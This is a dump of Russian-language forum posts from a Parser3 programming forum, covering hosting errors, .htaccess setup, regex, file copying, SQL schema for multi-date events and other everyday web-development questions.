^table.join[$new_col]\
^table.join[$table_after]\
[/code]"
"45855","В файле очень немного значений, и необходимости использовать SQL нет вообще."
"45856","Сделайте гибкость, ведь Parser3 этим и хорош. На нем я реализую практически все разработки, включая интранет приложения."
"45857","А если очень немного значений, то таблицу можно полностью перезаписать."
"45859","список изменений относительно 8.5\
http://snapshot.opera.com/windows/w90p1.html"
"45860","для того чтобы сделать то что вы предлагаете во первых портебуется время, которое может быть использовано для реализации более необходимых вещей, а ещё люди станут этим пользоваться для таблиц, в которых не несколько записей, при этом тормоза и глюки будут обеспечены.\
\
а что касается вашего случая, если это вам так нужно - напишите свой оператор и используйте его. вам не нужно будет постоянно писать такие куски кода."
"45861","[url=\"http://www.parser.ru/forum/?id=45857\"]Мое собщение выше[/url] было отредактировано позже, чем на него [url=\"http://www.parser.ru/forum/?id=45858\"]ответил dmx102[/url].\
\
PAF тоже обращал внимание на это недавно. Вы кажется в отпуске были, но я не нашел сходу то его сообщение."
"45863","Почитал спецификацию [url=\"http://www.whatwg.org/specs/web-forms/current-work/\"]Web Forms 2.0[/url], но примеры с datalist не работает в 9-ке... Может быть у кого-то работают?"
"45864","Установил парсер на какой-то буржуйский хостинг, вот он мне упорно выдает 500-ю ошибку и в логах пишет «Premature end of script headers». Парсером пользуюсь не 1й раз, ставил не на один хостинг до этого, все работало.\
Верисия ОС - FreeBSD (парсер тоже под нее); заливал в бинарном, раз 5 уже, наверное; CHMOD менял - толку нет.\
Все время одно и тоже.\
Возможно ли что проблема в самом хостинге? Если да - то как ее решить?\
Заранее всем спасибо."
"45867","Давайте, попробую...\
Пока время есть попробую сделать в предложеном варианте."
"45868","Если честно - никогда не работал с консолью... Да и есть ли оно там?\
А каков должен быть результат?"
"45870","$mask[^mask.match[[^^0-9A-Za-z.*?_]][g]{}] можно записать проще: $mask[^mask.match[[^^\\w.*?]][g]{}]\
\
Если нужно точное совпадение имени файла (а не только его куска) с образцом то в начало regexp надо добавить ^^ а в конец $\
\
А \"достаточно-ли такого преобразования\" - на первый взгляд достаточно. Но существует еще такая полезная штука - тестирование :)"
"45871","Можно ли использовать в качестве списка паролей, типа .htpasswd, результат выполнения парсерного кода?\
Если да, то напишите пож-ста."
"45873","Может у кого ещё будут соображения?"
"45874","Пишите на stas@mindwork.ru Проект коммерческий, соответственно будет и оплата."
"45875","Ушло в мыло..."
"45876","[quot]\
$mask[^mask.match[[^^0-9A-Za-z.*?_]][g]{}]\
можно записать проще:\
$mask[^mask.match[[^^\\w.*?]][g]{}]\
[/quot]\
\
От \\w решил отказаться. Мало-ли всяких глюков локализации на разных хостингах? Начнет кирилицу пропускать, а оно надо?\
\
[quot]\
Если нужно точное совпадение имени файла (а не только его куска) с образцом то в начало regexp надо добавить ^^ а в конец $\
[/quot]\
\
Это не понял к чему относится?"
"45877","Не проходят вложенные \"скобки\" форматирования:\
\
[quot ]\
[code ]\
ля-ля\
[/code ]\
[/quot ]\
\
В базу ложится (можно потом вызвать на редакцию), а вот на экран не выводится :("
"45879","создал виртуальный хост (ред-хат апаче2.0.52) на запрос /cgi-bin/parser3.cgi\
ответ в браузере \
Parser/3.1.4 (compiled on i686-pc-linux-gnu)\
\
но в логе пишет 500 ошибку, парсер-скрипт не выполняется, если это то-же, что у тебя, то после исправления в httpd.conf \
AllowOverride None\
на\
AllowOverride All\
\
всё заработало.\
Вобщея я не очень понял, до этого .htaccess работал только на основном хосте, на виртуальном не хотел, после исправления заработал и на виртуальном.\
\
Эта опыия у меня указана в двух местах:\
[code]\
<Directory />\
    Options FollowSymLinks\
    AllowOverride All\
</Directory>\
\
<Directory /var/www/html>\
    Options FollowSymLinks\
    AllowOverride All\
</Directory>\
[/code]\
когда в первом блоке стояло None, не работало."
"45880","и не факт, что на хостинге разрешено httpd.conf юзать, хотя сейчас погляжу..."
"45883","Главное - если при /cgi-bin/parser3.cgi парсер отвечает, я есть и моя версия такая-то, значит cgi скрипты выполняются, а если скрипты парссера не работают значит .htaccess отключен.\
   Все это включается в httpd.conf - обращайся к админам."
"45884","Нужна подстановка при каждом запросе сервера к файлу .htpasswd"
"45885","Хм, и вправду, зато другие [b][i]вкладывать можно[/i][/b]..."
"45886","создаю файл (например delite)с правами на запуск, в котором прописана команда [b]rm[/b] с ключом r и запускаю командой ^file::exec[]. Удаляет всё вместе с каталогом"
"45888","Я понимаю в чём вопрос.\
я создал файл на баше с командой rm , путь к удаляемому каталогу или файлу есть переменная\
при запуске файла он из *.cfg смотрит путь, сам .cfg создается на парсере перед подачей команды на выполнение баша. Я прям как первокласнику все разжёвываю."
"45890","^file:delete[.htaccess] - работает! Вот листинг файлов \"без имени\" получить пока не удалось, а удалить - как два пальца."
"45891","[quot]От \\w решил отказаться. Мало-ли всяких глюков локализации на разных хостингах? Начнет кирилицу пропускать, а оно надо?[/quot]\
\
Насколько я помню, \\w это в точности 0-9A-Za-z_\
И никаких кириллиц... Впрочем лучше уточнить по первоисточнику\
\
[quot]Если нужно точное совпадение имени файла (а не только его куска) с образцом то в начало regexp надо добавить ^^ а в конец $\
\
Это не понял к чему относится?[/quot]\
\
Это вот к чему. Допустим в том каталоге где вы ищете есть такие файлы:\
file1.htm\
file2.htm\
myfile1.htm\
file1.html\
Ваш юзер задает строку поиска file*.htm имея ввиду найти первые два. Ежели вы эту строку в виде паттерна зададите то получите все четыре.\
Чтобы получить точное совпадение с образцом то есть первые два файла нужно написать ^file*.htm$"
"45892","Да удалять все что угодно можно и штатным ^file:delete[] Листинг директории не получить с файлами без имению. понятно, что можно и на баше, и на перле, и даже на пхп прикрутить, но хочется не выходя из Парсера сделать. Платформо-независимо :)"
"45894","...в момент удаления последнего в нем файла. но для того чтобы удалить ВСЕ файлы - нужен их листинг. По маске методом ^file:delete[] файлы не удаляются. Посему: нужен листинг средствами Парсера, т.к. все остальное уже есть.\
\
В общем: ^file:list[] не выдает фалы без имени никакими путями. Очевидно это работает встроенный механизм безопасности Парсера и тут ничего не сделать."
"45895","В любом случае error 500. А .htaccess включен..."
"45896","В первоисточнике (\"Рег.выражения...\" Фриддла описаны траблы с локализацией и \\w (и остальными макро-конструкциями). Тут варианты: либо каждый раз учитывать локализацию платформы. либо жестко прописать только то, что входит в символьный класс, в моем случеа это как раз: [^^0-9A-Za-z_.?*] Бумагу можно съэкономить используя \\w, но не в данном случае. Мне как раз надо чтобы удалялись все символы окромя того, что прописано в моей строке.\
\
С ^^ и ^$ понятно."
"45897","Дык втом-то и дело, я решил это с башем без всяких листингов, хотя вот прям щас появилась идейка, можно сделать проверку на существование .htaccess если есть удалить без каких либо сообщений или вывести сообщение \"найден и удален\" а дальше по листингу."
"45898","Скрипты Парсера выполняются?\
и при этом 500-ая ошибка?"
"45899","Я уже уср*лся через поиск здес - скажите прямо!\
хочу менюху глубины ссылки типа Продукция>Диваны>Очень Плохие - на всех лебедевских сайтах, а пример нигде не найду - хотябы понять по какому принципу строится!\
может кто код подкинет?"
"45901","там есть примеры построения всяких деревьев. Когда во всем разберетесь, вопрос отпадет сам собой."
"45902","Либо инструкции в .htaccess не прописанны, либо сам .htaccess не работает, если сам cgi выполняется.\
В htppd.conf заглядывал?"
"45903","a поточнявей моно? рыть бивнями весь сайт не по кайфу(ударенпие на последнем слоге)"
"45904","приведи текст .htaccess полностью"
"45905","Дай линк на хост где не работает"
"45906","прикиньте:\
с одной страницы заполняется форма, пинается в БД.\
админ открывает админку - тамова список всех объяв, которые мы пнули в БД - он кликает на одном из них - внизу страницы появляются формочки с данными - для корректировки. ну откорректировал, сабмитнул - пинаем измененные данные в др таблицу, из предыдущей удаляем всю строку, удаляем все файлы с диска (опять же скрипт).\
после этого дисплеится:\
-таблица с оставшимися данными\
-дурацкий {}\
\
после рефреша - исчезают скобки и все ок.\
ладно. я поставил refresh при условии удаления инфы из БД и все пучком - скобки физически не успевают появляться.\
когда ты добавляешь последнюю тему - он все подчищает в 1 таблице, пускает рефреш и тут то он к удаленному файлу мечется, а его нет! да и не нужен он ему вовсе!\
\
Вопрос: а нафига он мечется и как без рефреша обойтись - откуда скобки-то?"
"45907","ой, слушай, поковырял я его, все равно не понял, не проще ли тебе просто сказать?"
"45908","Проще не получится. Надо ковырять по прояснения. За вас никто не сделает.\
А про \"хлебные крошки\" и здесь, и у Егорова достаточно написано. И за вас никто делать не будет.\
\
P.S. Хотя бы скажите что вы уже пробовали сделать."
"45909","Я думаю, что тут мало кто понял о чем вы, но одно могу сказать точно. Скобки из вашего же кода."
"45910","Я не помню где там что, знаю только, что ответ на вопрос есть. Если не хочешь сам, то можешь предложить кому-нибудь $100 за час работы и тебе с радостью все сделают."
"45911","Значит по порядку:\
.htaccess работает, это 100%\
доступа к httpd.conf у меня нету\
Текс .htaccess:\
[code]\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
charesetdisable не помогает...\
Хост: [url=\"http://www.atlantictools.com\"]www.atlantictools.com[/url]\
[url=\"http://www.atlantictools.com/cgi-bin/parser3.cgi\"]Здесь лежит парсер[/url]"
"45912","т.е. atlantictools.net"
"45913","Вообщем задача.\
\
Есть Iframe\
\
[code]\
<iframe name=\"m_1\" scrolling=no frameborder=0></iframe>\
[/code]\
\
[b]Задaча[/b] - изменить его размер средствами Javascript\
\
\
Что-то типа такого не робит :(\
\
[code]\
document.all.m_1.style.hight=\"200\"\
[/code]"
"45914","Как обычно. Ошибка в самом тупом месте )))\
Правильнее писать height :D"
"45915","на запрос /cgi-bin/parser3.cgi получаем стандартный ответ сервера\
[code]More information about this error may be available in the server error log. [/code]\
а должны получить\
[code]Parser/3.1.4 (compiled on i686-pc-linux-gnu)[/code]\
в случае ошибки при обработке кода\
[code]More information about this error may be available in the Parser error log or in debug version of unhandled_exception.[/code]\
\
делаем вывод, [b]неработает parser3.cgi[/b], а вот почему это надо выяснять, то-ли права не те, то-ли Perl версия не попадает, то-ли ещё что. \
Задай вопрос [b]Misha v.3[/b] в новом посте. \
Я у себя как-то пробовал отключать ПХП, так и Парсер перестал работать, может версии как-то не попадают."
"45916","error 500 при всех обращениях к серверу или к парсеру напрямую...\
P.S.\
А с правами эксперементировал... результат отрицательный -((("
"45917","[url=\"http://ops.powweb.com/powweb-bin/perldiver.cgi\"]вот тут инфа по перлу вся...[/url]"
"45918","По вопросу совместимости извини помочь не смогу, я сначала так понял, что сам Парсер откликается, а у тебя совсем мёртво.\
Попробу спросить у Misha v.3 или PAF-а"
"45920","Действително, .cgi и .pl скрипты пробовал запускать?\
\
Специально поднял чистый апач только с поддержкой CGI, все работает."
"45921","К примеру, вот - http://www.egoroff.spb.ru/portfolio/10.html\
Но думаю вам не поможет.\
Ибо думать вы не хотите.\
А раз не хотите, то даже готовое решение использовать не сможете."
"45922","MySQL+Parser+XML Sapiens=FrontSite WCMP которую я счас делаю. пожАлуйста, мой тел. +7 921 558 70 32 звоните с сотовых ПИТЕРА. Обсудим."
"45923","http://xpoint.ru/forums/internet/XML/thread/33643.xhtml"
"45926","отсылает что-то или нет я не пробовал, но при обращении к скрипту напрямую как положено ругается на незаполненные формы письма, т.е. работает..."
"45927","parser.log образуется вообще рядом с parser3.cgi? Если да - запостите сюда то, что в нем содержится."
"45928","Подскажите, как хранить событие у которого может быть неограниченное количество дат проведения?\
\
Т.е. я добавляю событие x, которое состоится 25 октрября 2005 в 11.00, 27 октября 2005 в 12.00 и 29 октября 2005 в 13.00"
"45929","Баг? Фича?\
\
Это работает всегда:\
[code]\
$f[^file::load[text;first.file]]\
^f.save[text;second.file]\
[/code]\
\
А это работает только при файле [b]не нулевой длины[/b]:\
\
[code]\
$f[^file::load[binary;first.file]]\
^f.save[binary;second.file]\
[/code]\
\
Если файл пустой: saving stat-ed file\
\
ЗЫ. Метод [b]move[/b] перемещает любые файлы."
"45930","Если в карманном ежедневнике, то элементарно: на дни наступления события пишете пометки, обозначаете время события. А если хранить будете где-то в программе, то приведите код, который написали и в котором возник творческий затык, обсудим."
"45931","То, что проект коммерческий, ещё не гарантирует оплату труда тех кто над ним трудится. Иной раз \"коммерция\" как раз и строится на том, чтобы съэкономить на персонале ;)\
\
ЗЫ. Ничего личного. Так, лирическое отступление :)"
"45932","А вот нету такого...\
А не получиться на удаленном хосте интерпритатор парсера положить и запустить с имеющегося, прописав в .htaccess путь до удаленного хоста?"
"45933","Тогда бы все и использовали http://www.parser.ru/cgi-bin/parser3.cgi чтобы свою машину не грузить :)\
\
Не возможно.\
\
ИТОГО: без помощи провайдера тебе не запустить скрипт. Сделай запрос - может все просто и прекомпилированные скрипты просто по безопасности не проходят."
"45934","Из-за этих \"нюансиков\" с отказами от записи файла нулерой длины и прочими неоднозначнастями:\
\
[code]\
@CopyDirFiles[from;to;rewrite;recursive;delete_after_copy;mask][_tabList;_file;_result;_mask;_method]\
###################################################################################################\
# Копирует файлы и каталоги. Возвращает $TRUE при успешном завершении\
# копирования и $FALSE - в противном случае.\
#\
#    bool\
#    CopyDirFiles[\
#	string from;\
#	string to;\
#	bool rewrite = $TRUE;\
#	bool recursive = $FALSE;\
#	bool delete_after_copy = $FALSE;\
#	string mask = \"\"\
#   ]\
$_result($TRUE)\
^if(def $mask){\
	$_mask[^mask.match[[^^0-9A-Za-z.*?_]][g]{}]\
	$_mask[^_mask.replace[^table::create{from	to\
*	.*\
.	\\.\
?	.}]]\
	$_tabList[^file:list[$from;$_mask]]\
}{\
	$_tabList[^file:list[$from]]\
}\
\
^try{\
	^_tabList.menu{\
#		^visualization:object[$_tabList.name;log.htm]\
		^if(-f \"${from}${_tabList.name}\"){\
			$_file[^file::stat[${from}${_tabList.name}]]\
			^if(^_file.size.int[] == 0){$_method[text]}{$_method[binary]}\
			$_file[^file::load[$_method;${from}${_tabList.name}]]\
			^if(!(-f \"${to}${_tabList.name}\" && !$rewrite)){\
				^_file.save[$_method;${to}${_tabList.name}]\
				^if($delete_after_copy){^file:delete[${from}${_tabList.name}]}\
			}\
		}{\
			^if($recursive){\
				^if(!^CopyDirFiles[${from}${_tabList.name}/;${to}${_tabList.name}/;$rewrite;$recursive;$delete_after_copy;$mask]){\
					$_result[$FALSE]\
				}\
			}\
		}\
	}\
}{\
	$exception.handled(1)\
#	^visualization:object[$_tabList;log.htm]\
	$_result($FALSE)\
}\
$result[$_result]\
#end @CopyDirFiles[]\
[/code]\
\
\
Абыдна, да?"
"45935","Зачем мучаетесь с [code]$_result[/code]?\
В начале метода задали [code]$result(0)[/code], и потом если всё сделали без ошибок задали [code]$result(1)[/code]"
"45936","Не постить же одно и то же событие, но с разными датами? Или создавать 10 полей для дат?"
"45937","Если даты событий не имеют логического чередования, просто в одну строчко в едином поле.\
Определяешь разделитель, добавляшь дату в дополнение к существующей записи, событие удаляет текущую дату."
"45938",".... не принципиально. Такие вещи на скорую руку пишутся, а потом. когда творческий кризис, вылизываются. Я расстроился из-за очень неудобной работы с файлами. То безымянные (.htaccess) в листинг ни в какую не выводит, то в режиме binary не желает писать файл нулевой длины (при этом в режиме text без проблем!). Приходится как только не изгаляться :/"
"45939","Самое глупое что я когда либо читал на форумах. Естественно ничего личного ;)\
\
P.S Спасибо тем кто отозвался."
"45940","Спасибо, порадовали 8) Приму на вооружение!"
"45941","А можно пример? Или подробней? А то в принципе понял, но все равно не очень представляю."
"45942","И какя бяка будет следить, происходить событию или нет?\
Ну, а даты на события, наверное будешь вносить ручками?"
"45943","Если это десяток дат, вероятно в файле будет проще хранить, да и проще с файлом работать в виде таблицы"
"45945","Ручками. Даты заполняются в форме при добавлении события. А зачем следить? Потом на страницы выдаются 4 ближайшие к сегодня события:\
\
[code]\
...	\
	where \
		date >= '${now.year}-${now.month}-${now.day}'\
	ORDER BY `DATE` ASC \
	}[$.limit(4)  $.offset($m)]]\
[/code]"
"45947","[quot]Не постить же одно и то же событие, но с разными датами? [/quot]\
\
А почему нет? Если описание события содержит много всякой информации - создайте отдельно таблицу событий с PRIMARY KEY \"id события\" и туда засуньте всю информацию. Кроме дат. И отдельную таблицу с датами, состоящую из двух полей: \"id события\" и \"дата события\". Стандартный способ. Все просто. Когда нужен список этих дат - просто делается выборка из второй таблицы по \"id события\"."
"45948","а не проще почитать книжку по SQL и решить что надо завести отдельную таблицу для дат состоящую из двух столбцов event_id & event_date?"
"45949","Парсер не средство от/для всего. Очки плохо помогают при глухоте :) \
Не разумнее ли выполнять таки действия обычными юниксовыми командами (^file::exec[] бла-бла-бла...)"
"45950","regex - для правильной обработки регулярных выражений.\
\
Пример:\
[code]$str[123.456]\
\
^left_string[$str;.]\
\
@left_string[str;substr]\
^if(def $str && def $substr){\
	$result[^str.match[^^(.*?)^taint[regex][${substr}].*?^$][]{$match.1}]\
}[/code]\
Подобный taint заменял бы . на \\."
"45951","[code]\
^if(!def $cookie:sid){\
    $cookie:sid[^math:uuid[]]\
}\
[/code]\
\
В общем, если кука определена в Firefox и Opera ничего не делает (что и требуется), а в ИЕ6 (в остальных ИЕ не знаю) в любом случае - определена, не определена - выполняет $cookie:sid[^math:uuid[]]. Подскажите, в чем проблема?"
"45953","Аналоги left/right, только результат отрезают не по количеству символов, а до/после совпадения с подстрокой (в виде regex).\
\
Пример:\
[code]$str[Дмитрий Петрович Отрезай]\
^left_string[$str;\\sПетрович][/code]\
вернёт: Дмитрий\
[code]^right_string[$str;Петрович\\s][/code]\
вернёт: Отрезай\
[code]\
########################################\
# $substr - символ или набор символов до которого нужно отрезать строку слева (в виде regex)\
#####\
@left_string[str;substr]\
^if(def $str && def $substr && ^str.match[$substr]){\
	$result[^str.match[^^(.*?)${substr}.*?^$][]{$match.1}]\
}{\
	$result[$str]\
}\
### End @left_string[]\
\
########################################\
# $substr - символ или набор символов до которого нужно отрезать строку справа (в виде regex)\
#####\
@right_string[str;substr]\
^if(def $str && def $substr && ^str.match[$substr]){\
	$result[^str.match[^^.*?${substr}(.*?)^$][]{$match.1}]\
}{\
	$result[$str]\
}\
### End @right_string[]\
[/code]\
\
P.S. Можно объединить оба метода в один."
"45954","В Парсере есть средства работы с файлами (например: ^file:move[a;b]? ^file:find, ^file:delete, ^file:list, ^file::load, ^file.save). Зачем они тогда, по Вашему? Другое дело, что как-то незавершенно все сделано. Ну или я чего-то не понимаю."
"45955","бинарник с нулевым содержимым - это нонсонс.\
Банальный ^try{} на него и вообще не копировать, т.к. пользы от него будет не много."
"45956","С файлами - есть. С каталогами - нету :("
"45957","сразу появляются вопросы:\
1) если есть ограничение в четыре даты и их надо показать, зачем параметр [b]$.offset($m)[/b]\
2) какое колличество событий предполагается? Если одно, тогда всё нормально, одна таблица, новая дата новая строка. Если событий несколько, то потеряется часть информации, посетителю не все будет показано. В этом случае дествительно две таблицы одна тбл. событий, вторая дат привязнных по ID, только параметр WHERE, будет несколько сложней + выборка из двух таблиц\
  \
Вобщем ты вроде все понимаешь :)"
"45958","$.offset($m) - это мне необходимо для одной штучки. :)\
\
Событий много. Тоже неограниченное количество. Да, я сегодня на свежую голову тоже подумал, что надо 2 таблицы. Ок, буду пробовать. Спасибо."
"45959","Мне надо скопировать все файлы, и бинарные, и текстовые, из одного каталога в другой. В text режиме копировать бинарники я не могу - Парсер их губит. А задав режим binary мне приходится дополнителным условием проверять на не нулевую длину и, в случае таковой, копировать в режиме text. Ну не странно, когда один и тот же оператор (^file.save) так себя ведет при изменении режима?"
"45961","Пытаюсь скрестить parser c fckeditor. Чёто ни как не соображу. Вобщем когда я это сделал на php то это было так:\
\
Записываем в бд: \
\
htmlspecialchars($_POST['pre_text'])\
\
Снова в редактор:\
\
$pre_text=$edit_row['pre_text'];\
$pre_text=str_replace(\"&lt;\", \"<\", \"$pre_text\");\
$pre_text=str_replace(\"&gt;\", \">\", \"$pre_text\");\
$pre_text=str_replace(\"&quot;\", \"'\", \"$pre_text\");\
$pre_text=str_replace(\"&quot;\", \"'\", \"$pre_text\");\
\
Всё работало отлично. А вот как сделать в парсере не пойму. Подскажите как обработать строки перед записью в БД и после извлечения из неё. \
\
"
"45962","Мне лично мешает невозможность работы с именами файлов, содержащими апострофы.\
Так же недавно [url=http://www.parser.ru/forum/?id=45341]выяснилась ещё одна тонкость[/url].\
\
Но думаю Александр исправлять не захочет...\
Предложит, кому надо, выслать патч."
"45963","если верить ChangeLog в cvs\
\
в 3.1.5 все должно снова работать"
"45965","Лично мне оно не сильно нужно, но одной ошибкой меньше - это хорошо."
"45967","$pre_text[^pre_text.match[&lt;][g]{<}]\
$pre_text[^pre_text.match[&gt;][g]{>}]\
$pre_text[^pre_text.match[&quot;][g]{'}]\
\
Речь об этом?"
"45968","было бы полезно, во многих языках есть такая функция\
\
хотя конечно можно и свою написать за пять минут."
"45970","Ну ^taint в чистом виде автору вопроса вроде бы не подходит: он  хочет &quot; заменять одинарной кавычкой, не двойной как в xml и html, а таких taint-преобразований мне неизвестно. Зачем ему это - это уж другой вопрос..."
"45971","да я так пробовал но немного по другому, но что то не получилось буду ещё пробовать по вашему. А при созранении я так понял parser сам преобраует &lt; в <"
"45972","Почитайте про taint/untaint. Поэкспериментируйте :)"
"45974","Большой файл \"*.p\" - значит будет грузиться долго, а потом обрабатываться...\
\
Если много маленьких файлов, то будет много времени тратиться на их подгузку...\
\
Не знаю на сколько этот вопрос важен, но всё же... Какого какого размера стоит делать файлы? (имеются в виду файлы, которые подгружаются *USE"
"45975","...все равно переписывать его будете не раз.\
\
лучше пишите хорошо структурированный код не заморачиваясь на том, сколько рам файликов. нужно сделать их 10 - делайте. нужно 20 - делайте 20.\
\
а когда дойдет до оптимизации - возьмете в руки оператор cache.\
\
задачи, для которых важна подобная оптимизация и невозможно использовать cache в моей практике встречались крайне редко.\
\
P.S. это не означает что код можно писать абы как. нет. просто об оптимизации количества файлов надо думать в самую последнюю очередь, когда вся остальная оптимизация сделана."
"45976","[code]\
$strLoc[ .,?~!@#^$%^^&*()-+|/\\01234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдеёжзийклмнопрстуфхцчшщъыьэюя_]\
\
$strNew[^strLoc.match[([^^\\w])][g]{}]\
# или: $strNew[^strLoc.match[([\\w])][g]{}]\
\
^visualization:object[$strLoc]<br>\
\
^visualization:object[$strNew]\
[/code]"
"45977","^if($param is \"bool\") - это работает. А вот как мне проверить на 'true' или на 'false' ?\
\
У меня в программе есть 'bool' константы: $TRUE(def 1) и $FALSE(!$TRUE). Можно делать так: ^if($param == $TRUE)... или ^if($param == $FALSE)... ? Т.е.: '==' можно использовать для сравнения bool ?\
\
В итоге получилось:\
[code]\
^if($param is \"bool\" && $param == $FALSE){}{$param[$TRUE]}\
[/code]\
"
"45979","в числовом контексте можно использовать следующие объекты:\
[code]\
^if($int){определено и не ноль}{не определено или == 0}\
^if($table){определена и содержит 1 или более строку. более того в числовом контексте содержит количество записей в таблице}{не определена или содержит 0 строк}\
^if($hash){определен и содержит более 1 записи (_default не в счет), более того в числовом контексте содержит количество записей в хеше}{не определен или содержит 0 записей}\
^if($bool){истина (например 1 == 1)}{ложь (например 1 == 0)}\
^if($date){определена, т.к. в числовом контексте равна числу суток с 01.01.1970}{не определена}\
[/code]\
\
нельзя использовать в числовом контексте:\
^if($hashfile){отребете ошибку}\
\
не помню про пользовательские объекты, файлы, изображения, xdoc и xnode, но по моему нельзя (хотя элементарно можете проверить сами).\
"
"45980","Это не тебе, Михаил. Там, чуть выше, мне посоветовали сменить мой символьный класс ( [^^0-9A-Za-z.?_*] ) на [^^\\w.?_*] в полной уверенности, что они идентичны. Ну я, как в глубоко порядочный человек, не поленился и решил-таки переубедить заблуждающегося :)"
"45981","У меня по умолчанию в методе входной параметр должен принять значение 'true'. Я уж всяко, но:\
[code]\
^if($param is \"bool\" && $param == $FALSE){}{$param[$TRUE]}\
\
ну или (что эквивалентно):\
\
^if(!($param is \"bool\" || $param == $FALSE)){$param[$TRUE]}\
[/code]"
"45982","например в SQL NULL никогда не равен другому NULL. есть подозрение что тут ложь никогда не равна другой лжи, хотя я не проверял.\
\
P.S. а вообще спать пора %-)"
"45983","Проходит нормально. Просто как-то не красиво, мне почему-то не нравится :/\
\
Да, действительно. Пора спать: http://www.parser.ru/forum/?id=40948 Оргазм от программирования не заменяет живого общения. Не стоит рисковать и пытаться что-то объяснять второй половине :)"
"45984","На сайте существует форма вставки сообьщений(текстовое поле), сообщения содержатсяне в БД(а надо былоб так...%0 ),а в текстовом файле. Файл представлен в виде таблице. Но при нажатии клавиши Enter Parser'у кажется что это является новой строчкой и он создает новую строку с текстом, которы был введен на \"НОВОЙ СТРОКЕ\"."
"45985","просто такое преобразование идеологически подходит к taint/untaint и главное что никаких разночтений не возникнет."
"45987","Как поставить parser? чтобы все заработало. А то я ставил у меня навигация не просвечивается, а только пишет (^navigation[])/ Подскажите в чем дело. Кто-нибудь. Спасибо заранее."
"45989","Вы меня новерное не поняли. Мне нужно сделать так:\
Пользователь ввёл: \
I am so stupid\
like you\
my baby!..\
В файл он должен записаться как одна строка т.е.: \
I am so stupid like you my baby!..\
Но у меня так и записывается, как ввели. Вроде даже по пробывал taint/untaint применить, но только врем даром зря потратил...(И нафиг я вообще этим taint\"om воспользовался?)"
"45990","сивола перевода строки [b]#0A[/b] на [b]<br>[/b]"
"45991","если действительно нужно убрать Enter - то replace (лучше) или match (хуже)\
\
но вообще что-то подсказывает мне что вам это не нужно, а нужно вам прочитать про опции сохранения/загрузки таблиц. пусть там будет этот перевод строк, не мешает он сохранению/загрузке таблиц."
"45992","При сохранении таблицы в файл после символа перевода строки записывается именно новая строка,\
поэтому необходима замена."
"45994","После написания альтернативы для оператора if появляется ошибка\
if\
method of MAIN (MAIN) accepts maximum 3 parameter(s)\
z:/home/irs4u/www/classes/admin_catalog.p(104:2) \
Причем ошибка проявляется не во всех скриптах (этот первый)\
Кто-нибудь с таким встречался?"
"45995","- где-то скобка не закрыта\
- где-то стоит точка с запятой незаскриненная с запятой (например, в неразрывном пробеле)"
"45997","занятно... век учись - дураком помрешь :)\
Перл в \\w кириллицу не пропускает...\
Раз такое дело - да, лучше явно писать, согласен."
"45999",":)"
"46000","основная задача: сохранять ответы посетителя в таблице.\
\
стоит вопрос: как избавиться от переводов строк, которые якобы портят данные.\
\
я утверждаю: избавляться от них не обязательно, т.к. парсер умеет работать и с такими данными, о чем написано в его документации, надо лишь прочитать её.\
\
P.S. на вопрос что делать с ентером я ответит сразу-же."
"46001","Открываю. окно Web Site Properties. Затем в странице Home Directory нажимаю кнопку Сonfiguration. В появившемся окне нажимаете Add, и прописываете путь к parser3.exe\
В строке Extension пишу html .\
\
В результате при обращении к странице http://localhost/_test.html - ошибка 404 (файл не найден)\
\
Где я неправ?"
"46002","при сохранении таблицы в файл символ перевода строк в файле образует новую строку, пример таблицы:\
[code]\
id     text\
1      вася\
       был\
       тупой\
2      конец\
[/code]\
в файле запишется:\
[code]\
id     text\
1      вася\
был\
тупой\
2      конец\
[/code]\
в итоге мы получим не то, что ожидаем.\
в случае замены символа перевода строк\
[code]\
id     text\
1      вася<br>был<br>тупой\
2      конец\
[/code]\
или я в чём-то ошибаюсь?"
"46003","парсер умеет работать не только с ENTER/TAB delimited таблицами (про них ни слова не было в исходном посте)."
"46004","одна таблица - событий... id_события,что где кто и т.д.\
вторая таблица - дат проведений... id_даты_проведения, дата и т.д.\
третья таблица - события_to_дата... id_события, id_даты_проведения\
\
если кажется, что слишком громоздко - сначала попробуйте..."
"46006","Имхо, прав. Функция действительно не помешала бы. Не для всех задач стоит лезть к бд."
"46007","В IIS 6.0 более сильная защита, поэтому того, что сказано в мануале про IIS 5.0 не хватает надо его ещё прописать в \"Разрешения веб-службы\"."
"46008","Обязательно укажите каталог, куда вы устанавливали Parser в переменной окружения PATH."
"46009","У меня так и записывается в таблице:\
id   title\
1    i'll be\
back\
2    you'll be \
back.\
My darling, can you\
add anything?\
Кстати в самом вопросе я написал что перевод строки производится не <br> а ENTER'ом"
"46010","Итак,\
\
имеет два файла:\
1. http://www.yalma.info/robots.lst (не обрабатывается парсером)\
2. http://www.yalma.info/robots.txt (обрабатывается парсером)\
\
Так вот мне нужно, что бы тот п.2 который обрабатывается парсером имел возврат курсора точно так же как у п.1, который не обрабатывается парсером.\
\
Как это сделать? Заумный код не надо, скажите, что проставить в конце каждой строчки, что бы следующая за ней строка шла не рядом, на на следующей строке."
"46011","Добавил возможность использования nconvert вместо imagemagick.\
Меняется это в переменных метода @auto[]\
\
Класс можно взять [url=\"http://www.spearance.ru/parser3/pictures/archive/images.zip\"]здесь[/url]."
"46012","Я поставил символ <br> (<br />) в конце каждой строки, и заработало.\
\
Вопросов два:\
1. чем теперь могут отличаться два файла (с иду одинаковые)?\
2. в чем отличие между <br> и <br />?"
"46014","1. я не знаю, в каком виде Parser выдет файл после себя.\
   в том тексте указано, что должен быть Unix бинарный. ;-)\
   \
   обычный то я в блокноте создаю, потом качаю по ftp через Far,\
   даже этом случае не уверен, что все правильно получается.\
\
2. выходить парсить нельзя этот файл? иначе биг проблема?\
\
3. кстатит. Валидатор там не работает. а жаль..."
"46016","Вы создали html, а нужно текст.\
в вашем случае должно быть примерно так:\
[code]\
$str[User-Agent: *^#0ADisallow: /basket^#0ADisallow: /order^#0ADisallow: /links^#0AHost: www.yalma.info]\
^str.save[/robots.txt]\
[/code]"
"46017","У меня есть выходной xml, получаемый таким образом:\
\
[code]\
<dt>^dt.sql-string[]</dt>\
[/code]\
\
А в xsl мне нужно его выводить отформатированным.\
Есть два варианта: либо добавлять строку с отформатированной датой в xml:\
\
[code]\
<dt formated=\"^dtf:format[...;$dt;$dtf:rr-locale]\">^sql-string[]</dt>\
[/code]\
\
